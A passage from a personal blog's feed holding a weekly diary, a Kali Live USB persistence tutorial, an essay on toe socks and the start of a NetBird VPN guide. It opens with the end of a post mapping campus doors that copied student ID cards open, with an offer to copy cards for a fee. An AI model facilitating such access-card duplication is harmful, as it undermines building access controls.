&lt;h2 id=&quot;accessible-doors-map&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#accessible-doors-map&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Accessible Doors Map&lt;/h2&gt;
&lt;p&gt;Finally, we made a &lt;a href=&quot;https://umap.openstreetmap.fr/zh/map/nchu-door-map_1378249&quot;&gt;map&lt;/a&gt; marking all the doors that can be opened so far. Current sample size is too small—we can only confirm the Applied Math building, Second Village, Old Boys Dormitory, Yunping Building, and Library are controlled. If there are more, we’ll add them gradually.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;If you can’t understand this article and are worried about losing your student ID, or need a digital business card to let people add your IG quickly, feel free to find us. We’ll copy one in five minutes right in front of you, and charge you five yuan less than the school price.&lt;/p&gt;</content:encoded></item><item><title>Weekly Diary | 26/03/15</title><link>https://www.windson.cc/en/posts/diary-8/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/diary-8/</guid><description>Last weekly post seems still last time was last year. Though it’s called weekly, theoretically updates weekly. But that’s just theoretically — in reality, this is my blog, update whenever I want! From</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last weekly post seems &lt;del&gt;still last time&lt;/del&gt; was last year. Though it’s called weekly, theoretically updates weekly. But that’s just theoretically — in reality, this is my blog, update whenever I want! From winter break until now actually have lots to write, just procrastination until now, thought should organize these three months stuff.&lt;/p&gt;
&lt;h2 id=&quot;building-computer&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#building-computer&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Building Computer&lt;/h2&gt;
&lt;p&gt;During winter break, in the mood to build a computer to play. This timing is awkward — one am4 to am5, ddr4 to ddr5. Originally thought get second-hand, only CPU/GPU new, so can save money, best resolve around 30000. So started looking for parts, target is lowest config to play Elden Ring slightly higher. Blueprint roughly like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU: AMD Ryzen 5 5600GT&lt;/li&gt;
&lt;li&gt;Motherboard: Gigabyte B550M GAMING X WIFI&lt;/li&gt;
&lt;li&gt;RAM: Kingston DDR4-3200 32GB (16GB ×2)&lt;/li&gt;
&lt;li&gt;SSD: Kingston NV3 1TB PCIe 4.0&lt;/li&gt;
&lt;li&gt;GPU: Gigabyte Radeon RX 6700 XT&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then found a day, went to second-hand computer parts store — since no B550M, bought B650M, also bought RAM, of course not above model, but ddr4 usable, 8G one 750, still Kingston. So bought four, total 3000, at that time memory price quite cheap.&lt;/p&gt;
&lt;p&gt;After buying this, went to Nova, looking for new R5 5600. Store told me am4 was taken back all last week, market only has am5 now, can only buy second-hand. At that moment thought big trouble, already spent 5000 but nowhere can use, so now still have 32G memory and one motherboard at home, &lt;del&gt;maybe use to build NAS later&lt;/del&gt;. Then bought whole set new computer, spent big. But using it now quite well, &lt;del&gt;no need to deal with N card issues to run pytorch&lt;/del&gt;, can max out graphics playing The Warriors: Clouds of Swan. That’s final config:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CPU: AMD Ryzen 5 7500F&lt;/li&gt;
&lt;li&gt;RAM: Kingston FURY Beast DDR5 5600 16GB*2&lt;/li&gt;
&lt;li&gt;Motherboard: B850M AYW GAMING WIFI&lt;/li&gt;
&lt;li&gt;SSD: Kingston NV3 PCIe 4.0 NVMe SSD 1TB&lt;/li&gt;
&lt;li&gt;GPU: Radeon RX 9060 XT&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;new-tools&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#new-tools&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;New Tools&lt;/h2&gt;
&lt;h3 id=&quot;ai-agent&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#ai-agent&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;AI agent&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://iach.cc&quot;&gt;Each&lt;/a&gt; recently recommended &lt;a href=&quot;https://opencode.ai&quot;&gt;Opencode&lt;/a&gt; — an AI coding agent. After installing, just explain your needs, it can make what you want. Specific works can be seen in &lt;a href=&quot;/about&quot;&gt;About&lt;/a&gt; bottom game wall and Contact widget — both made by it. Also my &lt;a href=&quot;https://study.windson.cc&quot;&gt;study site&lt;/a&gt; got its theme changed by it — was &lt;a href=&quot;https://docusaurus.io&quot;&gt;Docusaurus&lt;/a&gt;. If development not want to start from scratch, need a template &lt;del&gt;or just give it to do&lt;/del&gt;, actually a good choice. Official provides connection to various LLM models,前提是有付費的API Key may be smarter? Putting question mark because never used, think official already enough.&lt;/p&gt;
&lt;h3 id=&quot;text-editor&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#text-editor&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Text Editor&lt;/h3&gt;
&lt;p&gt;Because think using vim is cool, installed Neovim + LazyVim. Now type with ten fingers without leaving keyboard from start to end. Except some functions still don’t know what they do, everything else works quite well. These days also installed GitHub Copilot, can keep being Tab engineer in class. Shouldn’t have reached can’t go back to Vscode level, but feel approaching already XD.&lt;/p&gt;
&lt;h3 id=&quot;browser&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#browser&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Browser&lt;/h3&gt;
&lt;p&gt;Watching &lt;a href=&quot;https://www.iach.cc/2026/browses/&quot;&gt;Each: You have the right to choose your own browser and search engine&lt;/a&gt; the other day, made big changes to browser settings. Before used firefox, sometimes brave. Because installed some packages on firefox to block tracking and ads (ublocks, AdNauseam), so actual feel exactly same as brave except interface. But recently, privacy-focused &lt;a href=&quot;https://duckduckgo.com/?q=Mozilla+%E4%BD%BF%E7%94%A8%E8%80%85%E6%A2%9D%E6%AC%BE%E8%AE%8A%E6%9B%B4&amp;#x26;t=vivaldi&amp;#x26;ia=web&quot;&gt;Mozilla wanting to access user data&lt;/a&gt;, so am looking for off-ramp. Later seeing &lt;a href=&quot;https://vivaldi.net&quot;&gt;Vivaldi&lt;/a&gt; in Each’s article — browser with built-in ad and tracker blocking, also can connect to Proton Mail and Proton VPN. Best is has function to automatically find website RSS feeds, later seeing website want to subscribe won’t be this troublesome.&lt;/p&gt;
&lt;p&gt;Back to topic, browsers now using: Vivaldi + Brave. Mainly use Vivaldi, but changed computer default browser to Brave, and turned off Brave’s javascript globally. This way when entering unknown website or clicking link someone sent, can ensure no weird stuff can be done to computer. Unless have to use javascript, then use Vivaldi with blocker — should be very safe computer setting.&lt;/p&gt;
&lt;h3 id=&quot;blokada&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#blokada&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Blokada&lt;/h3&gt;
&lt;p&gt;One phone ad and tracker blocker program, intercepts from DNS level. So my phone now quite safe. If want to download, go to &lt;a href=&quot;https://blokada.org&quot;&gt;official site&lt;/a&gt; to download apk. In Google, Blokada 6 now costs money. But how to ensure this software has no malware? Because &lt;a href=&quot;https://github.com/blokadaorg/blokada&quot;&gt;open source&lt;/a&gt;, so hard to hide backdoor, can trust netizen’s eyes. This software quite fun — because filters traffic, can see what software on phone after opening, what backends requesting, can ban all you don’t like. Like I banned all Line functions except chatting, whether locked well or not don’t know — because can only watch domain name divinate.&lt;/p&gt;
&lt;h2 id=&quot;events&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#events&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Events&lt;/h2&gt;
&lt;h3 id=&quot;sitcon-compass-plan&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#sitcon-compass-plan&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;SITCON Compass Plan&lt;/h3&gt;
&lt;p&gt;This time’s &lt;a href=&quot;https://sitcon.org/2026/&quot;&gt;SITCON&lt;/a&gt; participated in Compass Plan, sounds impressive, but actually just helps find people with similar interests to wander SITCON together, afraid bored. Result when list came out, saw &lt;a href=&quot;https://235blog.netlify.app/&quot;&gt;235&lt;/a&gt; — partners from joint winter training pulling all-nighters, really too coincident. Others all don’t know, also don’t know where hand ran off to. Theoretically should create group to know each other before, otherwise social energy might zero on that day.&lt;/p&gt;
&lt;h3 id=&quot;guitar-club-performance-team&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#guitar-club-performance-team&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Guitar Club Performance Team&lt;/h3&gt;
&lt;p&gt;One word is “tired”. Things many and杂, school’s administrative process slight trouble, some things different from last term, also need to deal with some temporary situations, detailed after event ends to write performance team document. This time because document not very complete, everything stuck. Luckily during winter break wrote a &lt;a href=&quot;https://github.com/weichenlin1209/longred-scheduler&quot;&gt;program&lt;/a&gt; to schedule songs, otherwise would die from exhaustion.&lt;/p&gt;
&lt;h3 id=&quot;department-karaoke-judge&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#department-karaoke-judge&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Department Karaoke Judge&lt;/h3&gt;
&lt;p&gt;This is last week got new job unexpectedly. Our department co-hosting a Karaoke competition with other departments, each department sends one judge. At that meeting because I’m from guitar club, got pushed to this position. But… I play guitar, I don’t sing. &lt;del&gt;Guess can only talk junk during evaluation&lt;/del&gt;&lt;/p&gt;</content:encoded></item><item><title>USB &quot;Resurrection&quot;</title><link>https://www.windson.cc/en/posts/live-usb/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/live-usb/</guid><description>For Linux users, school computers aren’t friendly. Linux is free after all, but most school computers only have one OS installed — Windows. If you want to use your familiar interface and environment, </description><pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For Linux users, school computers aren’t friendly. &lt;del&gt;Linux is free after all&lt;/del&gt;, but most school computers only have one OS installed — Windows. If you want to use your familiar interface and environment, you have to carry your laptop everywhere. The better computer labs have an outlet by the wall for laptop users, but usually there isn’t one.&lt;/p&gt;
&lt;p&gt;In a &lt;a href=&quot;https://frdm.cyut.edu.tw/~ckhung/c/ml262g/&quot;&gt;general education course&lt;/a&gt;, the &lt;a href=&quot;https://frdm.cyut.edu.tw/~ckhung/g/&quot;&gt;professor&lt;/a&gt; shared how he handles this problem. He made a USB drive into a bootable drive with storage capability. As long as there’s a computer to plug into, you can “resurrect” and run your own system on someone else’s computer. This way, no matter what device you’re using, you can use your familiar Linux. &lt;del&gt;Provided they haven’t locked the BIOS, that is&lt;/del&gt;. The day after that class ended, I made one myself.&lt;/p&gt;
&lt;h2 id=&quot;choosing-an-operating-system&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#choosing-an-operating-system&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Choosing an Operating System&lt;/h2&gt;
&lt;p&gt;Being a KDE enthusiast who also needs easy operation, the first thought was &lt;a href=&quot;https://www.windson.cc/posts/kubuntu/&quot;&gt;Kubuntu&lt;/a&gt;. But regular bootable USB is volatile (meaning once powered off, all changed data disappears, returning to the original boot drive state). To make the USB a portable OS, it needs memory functionality. Thinking about how this involves the Linux kernel, I started skipping class. So I went online &lt;del&gt;to gemini&lt;/del&gt; to find a suitable system—one preferably designed for Live USB operation or supporting this feature.&lt;/p&gt;
&lt;p&gt;Later I &lt;del&gt;gemini&lt;/del&gt; found &lt;a href=&quot;https://www.kali.org/&quot;&gt;Kali&lt;/a&gt;, &lt;a href=&quot;https://tails.net/&quot;&gt;Tails&lt;/a&gt;, &lt;a href=&quot;https://www.alpinelinux.org/&quot;&gt;Alpine&lt;/a&gt;, &lt;a href=&quot;https://www.slax.org/&quot;&gt;Slax&lt;/a&gt;… actually quite a few. Each OS has its own characteristics—feel free to research yourself. I ultimately chose Kali, &lt;del&gt;can be my mobile artillery&lt;/del&gt;, because it natively supports Live USB. If you want a system designed for Live USB, you can choose Slax.&lt;/p&gt;
&lt;h2 id=&quot;making-a-live-usb&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#making-a-live-usb&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Making a Live USB&lt;/h2&gt;
&lt;p&gt;Since I installed Kali, I’ll only teach how to do Kali. First, download their Live USB image from &lt;a href=&quot;https://www.kali.org/get-kali/#kali-live&quot;&gt;official site&lt;/a&gt;. At this point, you’ll notice you downloaded a &lt;code&gt;.torrent&lt;/code&gt; file, because the official site doesn’t directly provide the image—you need to get it via P2P. First install aria2:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; update&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; apt&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; aria2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;aria2c&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; ./kali-linux-&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;-live-amd64.iso.torrent&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s normal for downloads to be slow at first. After downloading, you need to verify the image is really from the official source, not faked. Next to the download button there’s a &lt;code&gt;sum&lt;/code&gt; where you can get the official SHA256. We use it to verify file authenticity.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;21e87900f8464b8ba99ed0b4161388f896fc13cf9af976c0bfd692ffe62931c2  kali-linux-2025.4-live-amd64.iso&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt; sha256sum&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the terminal shows OK, the file is fine. Next, set it up with storage functionality.&lt;/p&gt;
&lt;h2 id=&quot;creating-persistence&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#creating-persistence&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Creating Persistence&lt;/h2&gt;
&lt;p&gt;First, boot into the Live system (amd64). Next, partition space to store data.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;lsblk&lt;/span&gt;&lt;span style=&quot;color:#8B949E&quot;&gt; # Find your USB drive, usually /dev/sdX&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After finding it, partition out the extra space—this determines how much you can store.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;fdisk&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Press &lt;code&gt;n&lt;/code&gt; to create a new &lt;code&gt;partition&lt;/code&gt;, choose &lt;code&gt;p&lt;/code&gt;, press &lt;code&gt;3&lt;/code&gt; (should be 3 if you haven’t created anything else). Then keep pressing &lt;code&gt;enter&lt;/code&gt; until partition is done, finally enter &lt;code&gt;w&lt;/code&gt;. If you want to understand what this does, check &lt;a href=&quot;https://linux.vbird.org/linux_basic/centos7/0230filesystem.php&quot;&gt;Bird Brother&lt;/a&gt;. After partitioning, go into &lt;code&gt;fdisk&lt;/code&gt; again, press &lt;code&gt;t&lt;/code&gt; to set the &lt;code&gt;type&lt;/code&gt; of the partition you just made to Linux. If the partition table is GPT, it’s called Linux filesystem.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mkfs.ext4&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -L&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; persistence&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /dev/sdX3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, create a file system in the partition you just carved out, so it can store data—hence the command above. Give it a label called persistence. Next, write some configuration.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt;usb&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;/dev/sdX&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mkdir&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -pv&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/my_usb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; mount&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ${usb}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/my_usb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; &quot;/ union&quot;&lt;/span&gt;&lt;span style=&quot;color:#FF7B72&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFA657&quot;&gt; sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; tee&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; /mnt/my_usb/persistence.conf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; umount&lt;/span&gt;&lt;span style=&quot;color:#79C0FF&quot;&gt; -v&lt;/span&gt;&lt;span style=&quot;color:#E6EDF3&quot;&gt; ${usb}&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, restart&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-default&quot; style=&quot;background-color:#0d1117;color:#e6edf3; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFA657&quot;&gt;sudo&lt;/span&gt;&lt;span style=&quot;color:#A5D6FF&quot;&gt; reboot&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Select “Live system with USB persistence” to boot—done!&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;postscript&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#postscript&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Postscript&lt;/h2&gt;
&lt;p&gt;I haven’t tested this at my school yet—only succeeded on my own computer. I installed termux and nvim in it. These are tools I use often, hoping to have them available on school computers too.&lt;/p&gt;</content:encoded></item><item><title>I Only Wear Toe Socks</title><link>https://www.windson.cc/en/posts/toe-socks/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/toe-socks/</guid><description> This is my submission for “BlogBlog Club Gathering - February 2026”. This month’s theme is “Only Me?”, hosted by Wiwi. If you have your own blog, feel free to join! Since some point, there’s been onl</description><pubDate>Mon, 23 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;This is my submission for “&lt;a href=&quot;https://blogblog.club/party#-%E7%AC%AC-2-%E6%9C%9F%E5%8F%AA%E6%9C%89%E6%88%91%E9%80%99%E6%A8%A3%E5%97%8E2026-%E5%B9%B4-2-%E6%9C%88%E5%8D%B3%E5%B0%87%E6%88%90%E7%A8%BF&quot;&gt;BlogBlog Club Gathering - February 2026&lt;/a&gt;”. This month’s theme is “&lt;a href=&quot;https://wiwi.blog/blog/blogblog-party-feb-2026/&quot;&gt;Only Me?&lt;/a&gt;”, hosted by &lt;a href=&quot;https://wiwi.blog/&quot;&gt;Wiwi&lt;/a&gt;. If you have your own blog, feel free to join!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Since some point, there’s been only one choice in my sock drawer — toe socks.&lt;/p&gt;
&lt;p&gt;Whenever I go to a friend’s place, escape rooms, or any situation requiring shoe removal, people’s reactions to my socks are usually: “Huh? Isn’t that hard to put on?” or “Looks really weird.” But for me, it’s a habit I can’t go back from. Just like when you’re used to typing on a mechanical keyboard, going back to membrane keys feels like something’s missing.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;at-first-it-was-just-for-hiking&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#at-first-it-was-just-for-hiking&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;At First It Was Just for Hiking&lt;/h2&gt;
&lt;p&gt;I bought my first pair of toe socks for hiking. At the time, I was sweating a lot and my feet were suffocating in my shoes. Someone told me toe socks absorb sweat better, and with toes separated, there’s less clammy feeling between them—especially important when staying overnight on the mountain. So my whole family bought a pair to try. The first time wearing them was indeed a bit awkward—had to line up each toe one by one, redo if I got it wrong. But once on, it did feel kind of strange. The whole sole felt stuffy, everywhere wrapped up, like an added sense of presence. The feeling of each toe being separated was very noticeable; I even started noticing my feet while walking.&lt;/p&gt;
&lt;p&gt;But the moment I really thought they were “not bad” was the second day of hiking. The day before I walked several hours uphill; coming down, my feet were already a bit swollen and tired. Normally in these situations, the space between toes gets clammy and sticky, even some chafing discomfort. But that time there wasn’t. When I took off my shoes, my feet were dry, no clammy feeling built up between toes. In that instant I realized—comfort isn’t about the first second, it’s about how you feel all day. After that, I slowly got used to that feeling of “each toe has its own place.” Later on, it became weird wearing regular socks—felt too tight, too sticky, too stuffy.&lt;/p&gt;
&lt;h2 id=&quot;once-you-try-it-you-cant-go-back&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#once-you-try-it-you-cant-go-back&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Once You Try It, You Can’t Go Back&lt;/h2&gt;
&lt;p&gt;Wearing toe socks to go out, ride bikes, even run—I started noticing details I never cared about before:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Toes don’t rub against each other&lt;/li&gt;
&lt;li&gt;Less stickiness after sweating&lt;/li&gt;
&lt;li&gt;Better stability in shoes&lt;/li&gt;
&lt;li&gt;Less stuffy feet after long walks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The difference is most noticeable during exercise. Over time, my regular socks in the drawer decreased. After doing laundry, I always reached for toe socks first. One day I realized—I hadn’t worn regular socks in months.&lt;/p&gt;
&lt;h2 id=&quot;everyone-says-it-looks-really-weird&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#everyone-says-it-looks-really-weird&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Everyone Says It Looks Really “Weird”&lt;/h2&gt;
&lt;p&gt;Honestly, toe socks really do look weird. Every time I take off my shoes, people say: “Why are you wearing those?!” But I’ve gotten used to it by now. Because when something is truly comfortable and truly suits you, you don’t really care what others think. It’s like you won’t &lt;del&gt;switch back to Windows just because someone says using Linux is troublesome&lt;/del&gt;, and you won’t start adding sugar to your black coffee just because someone laughs it’s too bitter.&lt;/p&gt;
&lt;h2 id=&quot;i-only-wear-toe-socks&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#i-only-wear-toe-socks&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;I Only Wear Toe Socks&lt;/h2&gt;
&lt;p&gt;Now my sock drawer is simple — open it, all toe socks. Colors are pretty similar—black is most common, occasional gray pairs; thin ones for summer, thick ones for winter. No fancy designs, no collecting hobby—just simply wearing what’s comfortable. I’m not trying to be different, not trying to express any attitude. It’s not cool, even kind of funny. But it’s comfortable, practical, and has accompanied me through many miles—from mountain trails, playgrounds, to daily commutes.&lt;/p&gt;
&lt;p&gt;Some choices don’t need reasons. Just like how someone always sits in the same seat, someone prefers a certain keyboard feel, someone must have a cup of coffee every day. For me, this little preference is toe socks. After a while, it’s no longer an experiment—it becomes a habit that quietly weaves into life. No special announcement, no deliberate persistence, just naturally — I just wear toe socks.&lt;/p&gt;</content:encoded></item><item><title>Self-Hosting VPN ── NetBird</title><link>https://www.windson.cc/en/posts/netbird-vpn/</link><guid isPermaLink="true">https://www.windson.cc/en/posts/netbird-vpn/</guid><description>The VPN I used before was Tailscale. Tailscale’s limitation for free users: only three people in one tailnet. But my Minecraft buddies number more than three… So I migrated the whole family to NetBird</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The VPN I used before was Tailscale. Tailscale’s limitation for free users: only three people in one tailnet. But my Minecraft buddies number more than three… So I migrated the whole family to NetBird.&lt;/p&gt;
&lt;p&gt;NetBird is a zero-trust VPN based on WireGuard. In plain terms: it helps us connect devices scattered around (laptops, Raspberry Pi, cloud servers) into a secure virtual local area network. Though they offer official servers, I just want to self-host!&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;basic-setup-tutorial&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#basic-setup-tutorial&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Basic Setup Tutorial&lt;/h2&gt;
&lt;h3 id=&quot;prerequisites&quot;&gt;&lt;a aria-hidden=&quot;true&quot; tabindex=&quot;-1&quot; href=&quot;#prerequisites&quot;&gt;&lt;span class=&quot;icon icon-link&quot;&gt;&lt;/span&gt;&lt;/a&gt;Prerequisites&lt;/h3&gt;
&lt;ol&gt;
